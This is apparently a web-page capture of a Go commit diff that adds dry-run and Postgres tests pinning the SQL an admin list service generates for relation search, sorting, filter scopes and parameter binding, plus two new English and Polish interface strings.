{"EnabledLocales error", &failingEnabledWriter{recordingWriter{defaultLocale: "pl"}}, nil},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
db, _ := openDryRunDB(t)
|
||||
app := backpack.New(nil)
|
||||
if err := app.Publish(db); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := app.Publish[TranslationWriter](tc.writer); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
svc := &service{app: app}
|
||||
got := svc.enabledContentLocales(context.Background())
|
||||
if !slices.Equal(got, tc.want) {
|
||||
t.Fatalf("enabledContentLocales = %v, want %v", got, tc.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
t.Run("the writer's slice is not reordered in place", func(t *testing.T) {
|
||||
db, _ := openDryRunDB(t)
|
||||
app := backpack.New(nil)
|
||||
if err := app.Publish(db); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
enabled := []string{"en", "de", "pl"}
|
||||
if err := app.Publish[TranslationWriter](&sharedSliceWriter{defaultLocale: "pl", enabled: enabled}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
svc := &service{app: app}
|
||||
if got := svc.enabledContentLocales(context.Background()); !slices.Equal(got, []string{"pl", "en", "de"}) {
|
||||
t.Fatalf("enabledContentLocales = %v", got)
|
||||
}
|
||||
if !slices.Equal(enabled, []string{"en", "de", "pl"}) {
|
||||
t.Fatalf("writer slice changed to %v", enabled)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("no published writer", func(t *testing.T) {
|
||||
db, _ := openDryRunDB(t)
|
||||
app := backpack.New(nil)
|
||||
if err := app.Publish(db); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
svc := &service{app: app}
|
||||
if got := svc.enabledContentLocales(context.Background()); got != nil {
|
||||
t.Fatalf("enabledContentLocales = %v, want nil", got)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("no app", func(t *testing.T) {
|
||||
if got := (&service{}).enabledContentLocales(context.Background()); got != nil {
|
||||
t.Fatalf("enabledContentLocales = %v, want nil", got)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// sharedSliceWriter returns its own enabled slice, not a copy, so a test can
|
||||
// see whether the caller reorders it in place.
|
||||
type sharedSliceWriter struct {
|
||||
recordingWriter
|
||||
defaultLocale string
|
||||
enabled []string
|
||||
}
|
||||
|
||||
func (w *sharedSliceWriter) DefaultLocale(context.Context, *gorm.DB) (string, error) {
|
||||
return w.defaultLocale, nil
|
||||
}
|
||||
|
||||
func (w *sharedSliceWriter) EnabledLocales(context.Context, *gorm.DB) ([]string, error) {
|
||||
return w.enabled, nil
|
||||
}
|
||||
|
||||
@@ -2,7 +2,9 @@ package cabana
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
@@ -148,7 +150,13 @@ func openDryRunDB(t *testing.T) (*gorm.DB, *sqlRecorder) {
|
||||
// controller controllerRequest targets.
|
||||
func newDryRunListService(t *testing.T, db *gorm.DB, ctl pact.AdminController, config, columns string) *service {
|
||||
t.Helper()
|
||||
schema, err := CompileList("acme.demo", ctl, filterFS(config, columns, ""))
|
||||
return newFilteredListService(t, db, ctl, config, columns, "")
|
||||
}
|
||||
|
||||
// newFilteredListService is newDryRunListService with a config_filter.yaml.
|
||||
func newFilteredListService(t *testing.T, db *gorm.DB, ctl pact.AdminController, config, columns, filters string) *service {
|
||||
t.Helper()
|
||||
schema, err := CompileList("acme.demo", ctl, filterFS(config, columns, filters))
|
||||
if err != nil {
|
||||
t.Fatalf("schema: %v", err)
|
||||
}
|
||||
@@ -192,3 +200,518 @@ func TestListRelationSearchSmoke(t *testing.T) {
|
||||
t.Fatalf("to-many sort joins the relation:\n%s", page)
|
||||
}
|
||||
}
|
||||
|
||||
// Matrix fixtures (Phase 16.1 plan 03). Each case lists one model through a
|
||||
// generic controller, so the relation under test is always cabana_r0.
|
||||
|
||||
// relLabeledPost names its pivot and both pivot columns explicitly; the SQL
|
||||
// must use exactly these names, never a guessed convention (D-02).
|
||||
type relLabeledPost struct {
|
||||
ID uint `gorm:"column:id;primaryKey"`
|
||||
Title string `gorm:"column:title"`
|
||||
Labels []relTag `gorm:"many2many:cabana_rel_labelings;joinForeignKey:labeled_post;joinReferences:label_ref"`
|
||||
}
|
||||
|
||||
func (relLabeledPost) TableName() string { return "cabana_rel_labeled_posts" }
|
||||
|
||||
// relPerson references itself through a pivot.
|
||||
type relPerson struct {
|
||||
ID uint `gorm:"column:id;primaryKey"`
|
||||
Name string `gorm:"column:name"`
|
||||
Friends []relPerson `gorm:"many2many:cabana_rel_friendships"`
|
||||
}
|
||||
|
||||
func (relPerson) TableName() string { return "cabana_rel_people" }
|
||||
|
||||
// relSoftTag is a soft-deleting related model.
|
||||
type relSoftTag struct {
|
||||
ID uint `gorm:"column:id;primaryKey"`
|
||||
Name string `gorm:"column:name"`
|
||||
DeletedAt gorm.DeletedAt `gorm:"column:deleted_at"`
|
||||
}
|
||||
|
||||
func (relSoftTag) TableName() string { return "cabana_rel_soft_tags" }
|
||||
|
||||
type relSoftPost struct {
|
||||
ID uint `gorm:"column:id;primaryKey"`
|
||||
Title string `gorm:"column:title"`
|
||||
Tags []relSoftTag `gorm:"many2many:cabana_rel_soft_post_tags"`
|
||||
}
|
||||
|
||||
func (relSoftPost) TableName() string { return "cabana_rel_soft_posts" }
|
||||
|
||||
// relComment is the morph side of a polymorphic hasMany.
|
||||
type relComment struct {
|
||||
ID uint `gorm:"column:id;primaryKey"`
|
||||
CommentableID uint `gorm:"column:commentable_id"`
|
||||
CommentableType string `gorm:"column:commentable_type"`
|
||||
Body string `gorm:"column:body"`
|
||||
}
|
||||
|
||||
func (relComment) TableName() string { return "cabana_rel_comments" }
|
||||
|
||||
type relProfile struct {
|
||||
ID uint `gorm:"column:id;primaryKey"`
|
||||
PostID uint `gorm:"column:post_id"`
|
||||
Bio string `gorm:"column:bio"`
|
||||
}
|
||||
|
||||
func (relProfile) TableName() string { return "cabana_rel_profiles" }
|
||||
|
||||
type relMorphPost struct {
|
||||
ID uint `gorm:"column:id;primaryKey"`
|
||||
Title string `gorm:"column:title"`
|
||||
Comments []relComment `gorm:"polymorphic:Commentable"`
|
||||
Profile relProfile `gorm:"foreignKey:PostID"`
|
||||
}
|
||||
|
||||
func (relMorphPost) TableName() string { return "cabana_rel_morph_posts" }
|
||||
|
||||
// relScopedPost carries the user_id a ListExtendQuery narrows on and a
|
||||
// filter scope adding an unqualified id IN predicate.
|
||||
type relScopedPost struct {
|
||||
ID uint `gorm:"column:id;primaryKey"`
|
||||
UserID uint `gorm:"column:user_id"`
|
||||
Title string `gorm:"column:title"`
|
||||
Tags []relTag `gorm:"many2many:cabana_rel_scoped_post_tags"`
|
||||
}
|
||||
|
||||
func (relScopedPost) TableName() string { return "cabana_rel_scoped_posts" }
|
||||
|
||||
func (relScopedPost) FilterScopes() []string { return []string{"filterByIds"} }
|
||||
|
||||
func (relScopedPost) FilterOptions(string) []pact.Option {
|
||||
return []pact.Option{{Value: "3", Label: "Three"}}
|
||||
}
|
||||
|
||||
func (relScopedPost) FilterScope(name string, db *gorm.DB, value any) *gorm.DB {
|
||||
if db == nil || name != "filterByIds" {
|
||||
return db
|
||||
}
|
||||
return db.Where("id IN (?)", []any{value})
|
||||
}
|
||||
|
||||
// relModelController lists whatever model newRecord returns.
|
||||
type relModelController struct{ newRecord func() any }
|
||||
|
||||
func (relModelController) ID() string { return "acme.demo.widgets" }
|
||||
func (relModelController) ModelName() string { return "Widget" }
|
||||
func (relModelController) ConfigDir() string { return "controllers/widgets" }
|
||||
func (c relModelController) NewRecord() any { return c.newRecord() }
|
||||
|
||||
// relScopedController narrows the list to one user with an unqualified
|
||||
// predicate, as host controllers do.
|
||||
type relScopedController struct{ relModelController }
|
||||
|
||||
func (relScopedController) ListExtendQuery(_ context.Context, db *gorm.DB) *gorm.DB {
|
||||
return db.Where("user_id = ?", 7)
|
||||
}
|
||||
|
||||
var (
|
||||
_ pact.AdminRecordSource = relModelController{}
|
||||
_ pact.ListExtendQuery = relScopedController{}
|
||||
_ pact.FilterScope = relScopedPost{}
|
||||
)
|
||||
|
||||
// relOneColumn is a columns.yaml with an unsearchable own column and one
|
||||
// relation column, so the relation is the only subquery (alias n = 0).
|
||||
func relOneColumn(own, relation, sel string) string {
|
||||
return `columns:
|
||||
` + own + `:
|
||||
label: Own
|
||||
` + relation + `:
|
||||
label: Related
|
||||
relation: ` + relation + `
|
||||
select: ` + sel + `
|
||||
searchable: true
|
||||
sortable: true
|
||||
`
|
||||
}
|
||||
|
||||
// boundStatement is one statement as GORM sends it: placeholders and the
|
||||
// bound values, before the logger inlines them.
|
||||
type boundStatement struct {
|
||||
sql string
|
||||
vars []any
|
||||
}
|
||||
|
||||
// bindRecorder records statements with their placeholders and bound values
|
||||
// through GORM's ParamsFilter hook, so a test can prove a value is bound and
|
||||
// never part of the SQL text.
|
||||
type bindRecorder struct {
|
||||
mu sync.Mutex
|
||||
bound []boundStatement
|
||||
}
|
||||
|
||||
func (r *bindRecorder) LogMode(logger.LogLevel) logger.Interface { return r }
|
||||
func (r *bindRecorder) Info(context.Context, string, ...any) {}
|
||||
func (r *bindRecorder) Warn(context.Context, string, ...any) {}
|
||||
func (r *bindRecorder) Error(context.Context, string, ...any) {}
|
||||
func (r *bindRecorder) Trace(_ context.Context, _ time.Time, fc func() (string, int64), _ error) {
|
||||
fc()
|
||||
}
|
||||
|
||||
func (r *bindRecorder) ParamsFilter(_ context.Context, sql string, params ...any) (string, []any) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
r.bound = append(r.bound, boundStatement{sql: sql, vars: append([]any(nil), params...)})
|
||||
return sql, params
|
||||
}
|
||||
|
||||
func (r *bindRecorder) take() []boundStatement {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
out := r.bound
|
||||
r.bound = nil
|
||||
return out
|
||||
}
|
||||
|
||||
func openBindDryRunDB(t *testing.T) (*gorm.DB, *bindRecorder) {
|
||||
t.Helper()
|
||||
rec := &bindRecorder{}
|
||||
db, err := gorm.Open(pgdriver.New(pgdriver.Config{DSN: "host=127.0.0.1 port=1 user=cabana dbname=cabana sslmode=disable"}),
|
||||
&gorm.Config{DryRun: true, DisableAutomaticPing: true, Logger: rec})
|
||||
if err != nil {
|
||||
t.Fatalf("dry run db: %v", err)
|
||||
}
|
||||
return db, rec
|
||||
}
|
||||
|
||||
// withoutSubqueries drops every parenthesized (SELECT ...) group, leaving
|
||||
// the outer statement, so a test can tell an outer JOIN from one inside an
|
||||
// EXISTS or string_agg subquery.
|
||||
func withoutSubqueries(sql string) string {
|
||||
for {
|
||||
start := strings.Index(sql, "(SELECT ")
|
||||
if start < 0 {
|
||||
return sql
|
||||
}
|
||||
depth := 0
|
||||
end := -1
|
||||
for i := start; i < len(sql) && end < 0; i++ {
|
||||
switch sql[i] {
|
||||
case '(':
|
||||
depth++
|
||||
case ')':
|
||||
depth--
|
||||
if depth == 0 {
|
||||
end = i
|
||||
}
|
||||
}
|
||||
}
|
||||
if end < 0 {
|
||||
return sql
|
||||
}
|
||||
sql = sql[:start] + "(subquery)" + sql[end+1:]
|
||||
}
|
||||
}
|
||||
|
||||
// pageStatement is the recorded statement that loads the page of records.
|
||||
func pageStatement(t *testing.T, all []string) string {
|
||||
t.Helper()
|
||||
for _, sql := range all {
|
||||
if strings.HasPrefix(sql, "SELECT ") && strings.Contains(sql, " LIMIT ") {
|
||||
return sql
|
||||
}
|
||||
}
|
||||
t.Fatalf("no page statement in %q", all)
|
||||
return ""
|
||||
}
|
||||
|
||||
const relTagsPivotSearch = `EXISTS (SELECT 1 FROM "cabana_rel_post_tags" AS "cabana_p0" JOIN "cabana_rel_tags" AS "cabana_r0" ON "cabana_p0"."rel_tag_id" = "cabana_r0"."id" WHERE "cabana_p0"."rel_post_id" = "cabana_rel_posts"."id" AND LOWER(CAST("cabana_r0"."name" AS TEXT)) LIKE '%fungi%' ESCAPE '\')`
|
||||
|
||||
const relTagsAgg = `(SELECT string_agg(CAST("cabana_r0"."name" AS TEXT), ', ' ORDER BY CAST("cabana_r0"."name" AS TEXT)) FROM "cabana_rel_post_tags" AS "cabana_p0" JOIN "cabana_rel_tags" AS "cabana_r0" ON "cabana_p0"."rel_tag_id" = "cabana_r0"."id" WHERE "cabana_p0"."rel_post_id" = "cabana_rel_posts"."id")`
|
||||
|
||||
const relNotesAgg = `(SELECT string_agg(CAST("cabana_r0"."body" AS TEXT), ', ' ORDER BY CAST("cabana_r0"."body" AS TEXT)) FROM "cabana_rel_notes" AS "cabana_r0" WHERE "cabana_r0"."post_id" = "cabana_rel_posts"."id")`
|
||||
|
||||
// TestListRelationSQL pins the SQL the relation subquery builder sends for
|
||||
// every relation type (D-02): names come from GORM's parsed relationship,
|
||||
// search is a correlated EXISTS with no outer JOIN, to-many sort orders by a
|
||||
// string_agg subquery and to-one sort keeps the association join.
|
||||
func TestListRelationSQL(t *testing.T) {
|
||||
model := func(newRecord func() any) relModelController { return relModelController{newRecord} }
|
||||
post := model(func() any { return &relPost{} })
|
||||
cases := []struct {
|
||||
name string
|
||||
ctl pact.AdminController
|
||||
columns string
|
||||
query string
|
||||
// count asserts on the count statement (search), else on the page
|
||||
// statement (sort).
|
||||
count bool
|
||||
want []string
|
||||
without []string
|
||||
}{
|
||||
{
|
||||
name: "belongsToMany search goes through the pivot", ctl: post,
|
||||
columns: relOneColumn("title", "tags", "name"), query: "search=fungi", count: true,
|
||||
want: []string{`SELECT count(*) FROM "cabana_rel_posts" WHERE ` + relTagsPivotSearch},
|
||||
},
|
||||
{
|
||||
name: "belongsToMany with custom pivot keys uses exactly the tagged names", ctl: model(func() any { return &relLabeledPost{} }),
|
||||
columns: relOneColumn("title", "labels", "name"), query: "search=fungi", count: true,
|
||||
want: []string{
|
||||
`FROM "cabana_rel_labelings" AS "cabana_p0" JOIN "cabana_rel_tags" AS "cabana_r0" ON "cabana_p0"."label_ref" = "cabana_r0"."id"`,
|
||||
`WHERE "cabana_p0"."labeled_post" = "cabana_rel_labeled_posts"."id" AND LOWER(CAST("cabana_r0"."name" AS TEXT)) LIKE '%fungi%'`,
|
||||
},
|
||||
without: []string{"rel_labeled_post_id", "rel_tag_id", "cabana_rel_labeled_post_tags"},
|
||||
},
|
||||
{
|
||||
name: "hasMany search correlates the related foreign key to the main primary key", ctl: post,
|
||||
columns: relOneColumn("title", "notes", "body"), query: "search=fungi", count: true,
|
||||
want: []string{`EXISTS (SELECT 1 FROM "cabana_rel_notes" AS "cabana_r0" WHERE "cabana_r0"."post_id" = "cabana_rel_posts"."id" AND LOWER(CAST("cabana_r0"."body" AS TEXT)) LIKE '%fungi%'`},
|
||||
},
|
||||
{
|
||||
name: "hasOne search correlates like hasMany", ctl: model(func() any { return &relMorphPost{} }),
|
||||
columns: relOneColumn("title", "profile", "bio"), query: "search=fungi", count: true,
|
||||
want: []string{`EXISTS (SELECT 1 FROM "cabana_rel_profiles" AS "cabana_r0" WHERE "cabana_r0"."post_id" = "cabana_rel_morph_posts"."id" AND LOWER(CAST("cabana_r0"."bio" AS TEXT)) LIKE '%fungi%'`},
|
||||
},
|
||||
{
|
||||
name: "belongsTo search correlates the related primary key to the main foreign key", ctl: post,
|
||||
columns: relOneColumn("title", "author", "name"), query: "search=fungi", count: true,
|
||||
want: []string{`EXISTS (SELECT 1 FROM "cabana_rel_authors" AS "cabana_r0" WHERE "cabana_r0"."id" = "cabana_rel_posts"."author_id" AND LOWER(CAST("cabana_r0"."name" AS TEXT)) LIKE '%fungi%'`},
|
||||
},
|
||||
{
|
||||
name: "self-referencing belongsToMany gets distinct aliases", ctl: model(func() any { return &relPerson{} }),
|
||||
columns: relOneColumn("name", "friends", "name"), query: "search=fungi", count: true,
|
||||
want: []string{
|
||||
`SELECT count(*) FROM "cabana_rel_people" WHERE EXISTS (SELECT 1 FROM "cabana_rel_friendships" AS "cabana_p0" JOIN "cabana_rel_people" AS "cabana_r0" ON "cabana_p0"."friend_id" = "cabana_r0"."id"`,
|
||||
`WHERE "cabana_p0"."rel_person_id" = "cabana_rel_people"."id" AND LOWER(CAST("cabana_r0"."name" AS TEXT)) LIKE '%fungi%'`,
|
||||
},
|
||||
without: []string{`"cabana_rel_people"."name"`},
|
||||
},
|
||||
{
|
||||
name: "a soft-deleting related model skips deleted rows", ctl: model(func() any { return &relSoftPost{} }),
|
||||
columns: relOneColumn("title", "tags", "name"), query: "search=fungi", count: true,
|
||||
want: []string{`WHERE "cabana_p0"."rel_soft_post_id" = "cabana_rel_soft_posts"."id" AND "cabana_r0"."deleted_at" IS NULL AND LOWER(CAST("cabana_r0"."name" AS TEXT)) LIKE '%fungi%'`},
|
||||
},
|
||||
{
|
||||
name: "a related model without soft delete adds no deleted_at", ctl: post,
|
||||
columns: relOneColumn("title", "tags", "name"), query: "search=fungi", count: true,
|
||||
without: []string{"deleted_at"},
|
||||
},
|
||||
{
|
||||
name: "belongsToMany sort ascending orders by string_agg with the id tiebreak", ctl: post,
|
||||
columns: relOneColumn("title", "tags", "name"), query: "sort=tags&dir=asc",
|
||||
want: []string{`SELECT * FROM "cabana_rel_posts" ORDER BY ` + relTagsAgg + `,"cabana_rel_posts"."id" LIMIT 20`},
|
||||
without: []string{"JOIN \"cabana_rel_tags\" \"Tags\"", "LEFT JOIN"},
|
||||
},
|
||||
{
|
||||
name: "belongsToMany sort descending orders by string_agg with the id tiebreak", ctl: post,
|
||||
columns: relOneColumn("title", "tags", "name"), query: "sort=tags&dir=desc",
|
||||
want: []string{`ORDER BY ` + relTagsAgg + ` DESC,"cabana_rel_posts"."id" LIMIT 20`},
|
||||
without: []string{"LEFT JOIN"},
|
||||
},
|
||||
{
|
||||
name: "hasMany sort orders by string_agg over the related rows", ctl: post,
|
||||
columns: relOneColumn("title", "notes", "body"), query: "sort=notes&dir=desc",
|
||||
want: []string{`ORDER BY ` + relNotesAgg + ` DESC,"cabana_rel_posts"."id" LIMIT 20`},
|
||||
without: []string{"LEFT JOIN"},
|
||||
},
|
||||
{
|
||||
name: "belongsTo sort keeps the association join", ctl: post,
|
||||
columns: relOneColumn("title", "author", "name"), query: "sort=author&dir=desc",
|
||||
want: []string{
|
||||
`FROM "cabana_rel_posts" LEFT JOIN "cabana_rel_authors" "Author" ON "cabana_rel_posts"."author_id" = "Author"."id" ORDER BY "Author"."name" DESC,"cabana_rel_posts"."id" LIMIT 20`,
|
||||
},
|
||||
without: []string{"string_agg"},
|
||||
},
|
||||
{
|
||||
name: "belongsTo sort ascending", ctl: post,
|
||||
columns: relOneColumn("title", "author", "name"), query: "sort=author&dir=asc",
|
||||
want: []string{`ORDER BY "Author"."name","cabana_rel_posts"."id" LIMIT 20`},
|
||||
},
|
||||
{
|
||||
name: "hasOne sort keeps the association join", ctl: model(func() any { return &relMorphPost{} }),
|
||||
columns: relOneColumn("title", "profile", "bio"), query: "sort=profile&dir=asc",
|
||||
want: []string{`LEFT JOIN "cabana_rel_profiles" "Profile" ON "cabana_rel_morph_posts"."id" = "Profile"."post_id" ORDER BY "Profile"."bio","cabana_rel_morph_posts"."id" LIMIT 20`},
|
||||
},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
db, rec := openDryRunDB(t)
|
||||
svc := newDryRunListService(t, db, tc.ctl, relListConfig, tc.columns)
|
||||
decodeList(t, getList(t, svc, tc.query), http.StatusOK)
|
||||
all := rec.statements()
|
||||
var sql string
|
||||
if tc.count {
|
||||
sql = rec.statement(t, "SELECT count(*)", all)
|
||||
if outer := withoutSubqueries(sql); strings.Contains(outer, "JOIN") {
|
||||
t.Fatalf("count statement has an outer JOIN:\n%s", sql)
|
||||
}
|
||||
} else {
|
||||
sql = pageStatement(t, all)
|
||||
}
|
||||
for _, want := range tc.want {
|
||||
if !strings.Contains(sql, want) {
|
||||
t.Fatalf("statement lacks\n %s\nin\n %s", want, sql)
|
||||
}
|
||||
}
|
||||
for _, bad := range tc.without {
|
||||
if strings.Contains(sql, bad) {
|
||||
t.Fatalf("statement holds %s:\n%s", bad, sql)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
t.Run("refusals answer 422 on the parameter", func(t *testing.T) {
|
||||
morph := model(func() any { return &relMorphPost{} })
|
||||
refusals := []struct {
|
||||
name string
|
||||
ctl pact.AdminController
|
||||
columns string
|
||||
query string
|
||||
param string
|
||||
}{
|
||||
{"polymorphic hasMany search", morph, relOneColumn("title", "comments", "body"), "search=fungi", "search"},
|
||||
{"polymorphic hasMany sort", morph, relOneColumn("title", "comments", "body"), "sort=comments&dir=asc", "sort"},
|
||||
{"select column missing from the related schema, search", post, relOneColumn("title", "tags", "colour"), "search=fungi", "search"},
|
||||
{"select column missing from the related schema, sort", post, relOneColumn("title", "tags", "colour"), "sort=tags&dir=desc", "sort"},
|
||||
{"select column missing on a belongsTo", post, relOneColumn("title", "author", "colour"), "search=fungi", "search"},
|
||||
}
|
||||
for _, rc := range refusals {
|
||||
t.Run(rc.name, func(t *testing.T) {
|
||||
db, rec := openDryRunDB(t)
|
||||
svc := newDryRunListService(t, db, rc.ctl, relListConfig, rc.columns)
|
||||
body := decodeList(t, getList(t, svc, rc.query), http.StatusUnprocessableEntity)
|
||||
if body.Error.Code != "validation_failed" {
|
||||
t.Fatalf("code = %q", body.Error.Code)
|
||||
}
|
||||
if _, ok := body.Error.Details[rc.param]; !ok || len(body.Error.Details) != 1 {
|
||||
t.Fatalf("details = %v, want only %s", body.Error.Details, rc.param)
|
||||
}
|
||||
for _, sql := range rec.statements() {
|
||||
if strings.Contains(sql, "LIMIT") {
|
||||
t.Fatalf("a refused list still loaded a page: %s", sql)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("the search value is bound and LIKE-escaped, never in the SQL text", func(t *testing.T) {
|
||||
db, rec := openBindDryRunDB(t)
|
||||
svc := newDryRunListService(t, db, relController{}, relListConfig, relColumns)
|
||||
term := `O'Neil 100%_X`
|
||||
decodeList(t, getList(t, svc, url.Values{"search": {term}}.Encode()), http.StatusOK)
|
||||
bound := rec.take()
|
||||
var count *boundStatement
|
||||
for i := range bound {
|
||||
for _, bad := range []string{"O'Neil", "o'neil", "100%", "neil"} {
|
||||
if strings.Contains(bound[i].sql, bad) {
|
||||
t.Fatalf("search text in the SQL: %s", bound[i].sql)
|
||||
}
|
||||
}
|
||||
if strings.HasPrefix(bound[i].sql, "SELECT count(*)") {
|
||||
count = &bound[i]
|
||||
}
|
||||
}
|
||||
if count == nil {
|
||||
t.Fatalf("no count statement in %v", bound)
|
||||
}
|
||||
want := `%o'neil 100\%\_x%`
|
||||
// title, tags, notes and author: one placeholder each.
|
||||
if len(count.vars) != 4 {
|
||||
t.Fatalf("vars = %#v, want 4", count.vars)
|
||||
}
|
||||
for _, v := range count.vars {
|
||||
if v != want {
|
||||
t.Fatalf("bound value = %#v, want %q", v, want)
|
||||
}
|
||||
}
|
||||
for n := 1; n <= 4; n++ {
|
||||
if !strings.Contains(count.sql, fmt.Sprintf("LIKE $%d ESCAPE '\\'", n)) {
|
||||
t.Fatalf("placeholder $%d missing:\n%s", n, count.sql)
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("ListExtendQuery and a scope filter stay unambiguous without an outer JOIN", func(t *testing.T) {
|
||||
db, rec := openDryRunDB(t)
|
||||
ctl := relScopedController{model(func() any { return &relScopedPost{} })}
|
||||
config := relListConfig + "filter: config_filter.yaml\n"
|
||||
columns := `columns:
|
||||
title:
|
||||
label: Title
|
||||
searchable: true
|
||||
tags:
|
||||
label: Tags
|
||||
relation: tags
|
||||
select: name
|
||||
searchable: true
|
||||
`
|
||||
filters := `scopes:
|
||||
ids:
|
||||
label: Ids
|
||||
modelClass: Widget
|
||||
nameFrom: title
|
||||
scope: filterByIds
|
||||
`
|
||||
svc := newFilteredListService(t, db, ctl, config, columns, filters)
|
||||
decodeList(t, getList(t, svc, url.Values{"search": {"fungi"}, "filter[ids]": {"3"}}.Encode()), http.StatusOK)
|
||||
count := rec.statement(t, "SELECT count(*)", rec.statements())
|
||||
for _, want := range []string{
|
||||
`SELECT count(*) FROM "cabana_rel_scoped_posts" WHERE user_id = 7 AND (`,
|
||||
`EXISTS (SELECT 1 FROM "cabana_rel_scoped_post_tags" AS "cabana_p0" JOIN "cabana_rel_tags" AS "cabana_r0"`,
|
||||
`AND id IN (3)`,
|
||||
} {
|
||||
if !strings.Contains(count, want) {
|
||||
t.Fatalf("count statement lacks %s:\n%s", want, count)
|
||||
}
|
||||
}
|
||||
if outer := withoutSubqueries(count); strings.Contains(outer, "JOIN") {
|
||||
t.Fatalf("count statement has an outer JOIN:\n%s", count)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// TestListRelationSearchPostgres runs relation search and sort on a real
|
||||
// Postgres (D-02): a post matching through two tags is counted and listed
|
||||
// once. It shares the package's testcontainers database and fails, not
|
||||
// skips, without Docker.
|
||||
func TestListRelationSearchPostgres(t *testing.T) {
|
||||
_, db := newListService(t)
|
||||
if err := db.Migrator().DropTable("cabana_rel_post_tags", &relNote{}, &relPost{}, &relTag{}, &relAuthor{}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := db.AutoMigrate(&relAuthor{}, &relTag{}, &relNote{}, &relPost{}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
author := uint(1)
|
||||
if err := db.Create(&relAuthor{ID: author, Name: "Ada"}).Error; err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
posts := []relPost{
|
||||
{ID: 1, Title: "First", AuthorID: &author, Tags: []relTag{{ID: 1, Name: "Fungi atlas"}, {ID: 2, Name: "fungi notes"}}},
|
||||
{ID: 2, Title: "Second", Tags: []relTag{{ID: 3, Name: "Birds"}}, Notes: []relNote{{ID: 1, Body: "a spore print"}}},
|
||||
}
|
||||
if err := db.Create(&posts).Error; err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
svc := newDryRunListService(t, db, relController{}, relListConfig, relColumns)
|
||||
|
||||
body := decodeList(t, getList(t, svc, "search=fungi"), http.StatusOK)
|
||||
if body.Meta.Total != 1 || !sameIDs(rowIDs(body.Data), []int{1}) {
|
||||
t.Fatalf("search=fungi total=%d ids=%v, want 1 and [1]", body.Meta.Total, rowIDs(body.Data))
|
||||
}
|
||||
|
||||
body = decodeList(t, getList(t, svc, "sort=tags&dir=asc"), http.StatusOK)
|
||||
if got := rowIDs(body.Data); len(got) != 2 || got[0] != 2 || got[1] != 1 {
|
||||
t.Fatalf("sort=tags asc ids=%v, want [2 1]", got)
|
||||
}
|
||||
body = decodeList(t, getList(t, svc, "sort=tags&dir=desc"), http.StatusOK)
|
||||
if got := rowIDs(body.Data); len(got) != 2 || got[0] != 1 || got[1] != 2 {
|
||||
t.Fatalf("sort=tags desc ids=%v, want [1 2]", got)
|
||||
}
|
||||
|
||||
body = decodeList(t, getList(t, svc, "search=spore"), http.StatusOK)
|
||||
if body.Meta.Total != 1 || !sameIDs(rowIDs(body.Data), []int{2}) {
|
||||
t.Fatalf("search=spore total=%d ids=%v, want 1 and [2]", body.Meta.Total, rowIDs(body.Data))
|
||||
}
|
||||
|
||||
body = decodeList(t, getList(t, svc, "search=ada"), http.StatusOK)
|
||||
if body.Meta.Total != 1 || !sameIDs(rowIDs(body.Data), []int{1}) {
|
||||
t.Fatalf("search=ada total=%d ids=%v, want 1 and [1]", body.Meta.Total, rowIDs(body.Data))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -40,6 +40,7 @@ list:
|
||||
other: ":count results"
|
||||
empty_value: "—"
|
||||
clear_search: Clear search
|
||||
reset_list: Reset search, filters and sorting
|
||||
select_all: Select all on this page
|
||||
select_row: Select row
|
||||
sort_ascending: Sort ascending
|
||||
|
||||
@@ -44,6 +44,7 @@ list:
|
||||
other: ":count wyniku"
|
||||
empty_value: "—"
|
||||
clear_search: Wyczyść wyszukiwanie
|
||||
reset_list: Wyczyść wyszukiwanie, filtry i sortowanie
|
||||
select_all: Zaznacz wszystkie na stronie
|
||||
select_row: Zaznacz wiersz
|
||||
sort_ascending: Sortuj rosnąco
|
||||
|
||||
Reference in New Issue
Block a user